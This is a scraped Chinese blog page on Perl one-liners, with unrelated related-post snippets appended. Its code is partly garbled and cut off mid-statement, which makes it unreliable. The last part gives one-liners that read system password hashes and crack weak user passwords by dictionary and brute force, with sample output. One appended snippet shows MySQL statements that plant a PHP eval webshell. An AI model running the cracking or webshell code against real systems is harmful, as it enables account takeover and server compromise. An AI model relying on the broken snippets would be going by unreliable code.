一句話的perl

2021-05-21 20:02:28 字數 1862 閱讀 9390

zcat *|perl -e 'while();

1. hello world!

還是從最經典的 hello,world! 開始......

# perl -e 'print "hello,world!/n"'

hello,world!

完全不出意料,他沒有任何歧異的終於我們願意的輸出了"hello,world!",自然得就像我麼用echo或

printf()一樣。

這個程式按照傳統形態展開的話是這樣:

#!/usr/bin/perl

print "hello,world!/n";

我們在命令列上使用了perl 的-e引數,這將使perl把-e之後直接跟著的字串當作perl的程式自動內建

展開執行,免去了我們用vi或cat重寫檔案之苦。

-e引數的功能,就是自動把之後的字串作為程式主題執行,再之後的引數將作為perl指令碼的命令列

引數($argc 和 @argv)傳遞給程式語句。

2. 我要cat。

hello,world!看似完全沒有作用,其實我們可以豐富它,用它來完成任何工作--只要你的想象力夠豐富。

perl世界裡很有名的乙個專案就是ppt( power perl tools),用純perl重新實現了所有unix常用命令。

我們來看乙個最簡單的cat。

# perl -pe 1 /etc/hosts

127.0.0.1 localhost.localdomain localhost

192.168.0.3 vi

就如同cat一樣,這行命令原樣的輸出了/etc/hosts檔案。我們來看看它實際做了些什麼:

#!/usr/bin/perl

for(@argv)}'

# 破解6位數字和6位字元以內簡單密碼的使用者

最後看看結果:

# perl -e '(""eq$c&&print"$u = [null]")||(crypt($u,$c)eq$c&&print"$u = $u/n")while($u,$c)=getpwent'

demo02 = demo02

demo03 = [null]

#perl -nle 'setpwent;(""eq$c&&print"$u = [null]")||(crypt($_,$c)eq$c&&print"$u = $_")while($u,$c)=getpwent'

p09uest

elly = p09uest

demo03 = [null]

# time perl -e 'while(($u,$c)=getpwent)}'

demo01 abc

real 0m48.714s

user 0m48.660s

sys 0m0.060s

第一行,是******版本,解出了兩個簡單使用者口令;

第二行,使互動式版本,根據使用者輸入進行解密;

第三行,窮舉版本...時間會比較長一點點哦,des加密破解速率大概在每秒數萬到數十萬個,md5破解速率

就只有數千個了。所以在bsd和linux等使用md5的平台上速度會大大慢於aix或hp-ux等商密出口限制平台。

還有點點小缺陷,就是使用a..zzzz,0..9999得出的字典集合,只是相應位數的純數字或純字母集合,不包括

混雜型別和特殊字元的。

不過這行程式用於簡單的使用者口令強度驗證時應該足夠了吧,最大的優點,一不許要編譯,二支援跨平台和

多種加密演算法的哦:p

在aix(des 56),linux(des 40),linux(md5 128),freebsd(md5 128)上測試通過,不過很不幸在hp-ux

上perl的getpwent是取不到passwd值的,也許perl不支援hp-ux上的tcb格式存放的shadow密碼吧。

mysql 匯出一句話 MySQL 匯出一句話

drop table if exists temp 如果存在temp就刪掉 create table temp cmd text not null 建立temp表,裡面就乙個cmd欄位 insert into temp cmd values php eval post cmd 把一句話木馬插入到te...

一句話提醒

1 在c 中,父窗體要訪問子窗體變數,需將子窗體變數設為public才能訪問。2 每 5 秒重新整理頁面 5 秒後重定向頁面 3 block 此元素將顯示為塊級元素,此元素前後會帶有換行符。inline 預設。此元素會被顯示為內聯元素,元素前後沒有換行符。4 document.getelementb...

一句話命令

bash 型別 wget r nc np 分片20m 上傳 bypy vvv s 20m upload mac下檢視埠占用 nettop nm tcp brew brew uninstall zsh brew services list brew services start brew servic...